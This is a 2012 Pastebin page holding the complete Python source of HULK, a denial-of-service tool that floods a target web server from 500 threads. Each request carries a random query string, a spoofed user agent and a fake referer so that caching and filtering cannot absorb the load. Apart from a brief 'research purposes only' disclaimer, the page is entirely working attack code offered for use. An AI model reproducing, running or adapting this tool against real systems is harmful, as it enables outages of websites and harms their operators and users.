Advertisement
Guest User

Hulk DDOS Tool

a guest
May 18th, 2012
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.15 KB | None | 0 0
  1. # Infi-Zeal Technologies
  2.  
  3. # ----------------------------------------------------------------------------------------------
  4. # HULK - HTTP Unbearable Load King
  5. #
  6. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  7. # to their knees by exhausting the resource pool, its is meant for research purposes only
  8. # and any malicious usage of this tool is prohibited.
  9. #
  10. # author :  Barry Shteiman , version 1.0
  11. # ----------------------------------------------------------------------------------------------
  12. import urllib2
  13. import sys
  14. import threading
  15. import random
  16. import re
  17.  
  18. #global params
  19. url=''
  20. host=''
  21. headers_useragents=[]
  22. headers_referers=[]
  23. request_counter=0
  24. flag=0
  25. safe=0
  26.  
  27. def inc_counter():
  28.     global request_counter
  29.     request_counter+=1
  30.  
  31. def set_flag(val):
  32.     global flag
  33.     flag=val
  34.  
  35. def set_safe():
  36.     global safe
  37.     safe=1
  38.    
  39. # generates a user agent array
  40. def useragent_list():
  41.     global headers_useragents
  42.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  43.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  44.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  45.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  46.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  47.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  48.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  49.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  50.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  51.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  52.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  53.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  54.     return(headers_useragents)
  55.  
  56. # generates a referer array
  57. def referer_list():
  58.     global headers_referers
  59.     headers_referers.append('http://www.google.com/?q=')
  60.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  61.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  62.     headers_referers.append('http://' + host + '/')
  63.     return(headers_referers)
  64.    
  65. #builds random ascii string
  66. def buildblock(size):
  67.     out_str = ''
  68.     for i in range(0, size):
  69.         a = random.randint(65, 90)
  70.         out_str += chr(a)
  71.     return(out_str)
  72.  
  73. def usage():
  74.     print '---------------------------------------------------'
  75.     print 'USAGE: python hulk.py <url>'
  76.     print 'you can add "safe" after url, to autoshut after dos'
  77.     print '---------------------------------------------------'
  78.  
  79.    
  80. #http request
  81. def httpcall(url):
  82.     useragent_list()
  83.     referer_list()
  84.     code=0
  85.     if url.count("?")>0:
  86.         param_joiner="&"
  87.     else:
  88.         param_joiner="?"
  89.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  90.     request.add_header('User-Agent', random.choice(headers_useragents))
  91.     request.add_header('Cache-Control', 'no-cache')
  92.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  93.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  94.     request.add_header('Keep-Alive', random.randint(110,120))
  95.     request.add_header('Connection', 'keep-alive')
  96.     request.add_header('Host',host)
  97.     try:
  98.             urllib2.urlopen(request)
  99.     except urllib2.HTTPError, e:
  100.             #print e.code
  101.             set_flag(1)
  102.             print 'Response Code 500'
  103.             code=500
  104.     except urllib2.URLError, e:
  105.             #print e.reason
  106.             sys.exit()
  107.     else:
  108.             inc_counter()
  109.             urllib2.urlopen(request)
  110.     return(code)       
  111.  
  112.    
  113. #http caller thread
  114. class HTTPThread(threading.Thread):
  115.     def run(self):
  116.         try:
  117.             while flag<2:
  118.                 code=httpcall(url)
  119.                 if (code==500) & (safe==1):
  120.                     set_flag(2)
  121.         except Exception, ex:
  122.             pass
  123.  
  124. # monitors http threads and counts requests
  125. class MonitorThread(threading.Thread):
  126.     def run(self):
  127.         previous=request_counter
  128.         while flag==0:
  129.             if (previous+100<request_counter) & (previous<>request_counter):
  130.                 print "%d Requests Sent" % (request_counter)
  131.                 previous=request_counter
  132.         if flag==2:
  133.             print "\n-- HULK Attack Finished --"
  134.  
  135. #execute
  136. if len(sys.argv) < 2:
  137.     usage()
  138.     sys.exit()
  139. else:
  140.     if sys.argv[1]=="help":
  141.         usage()
  142.         sys.exit()
  143.     else:
  144.         print "-- HULK Attack Started --"
  145.         if len(sys.argv)== 3:
  146.             if sys.argv[2]=="safe":
  147.                 set_safe()
  148.         url = sys.argv[1]
  149.         if url.count("/")==2:
  150.             url = url + "/"
  151.         m = re.search('http\://([^/]*)/?.*', url)
  152.         host = m.group(1)
  153.         for i in range(500):
  154.             t = HTTPThread()
  155.             t.start()
  156.         t = MonitorThread()
  157.         t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement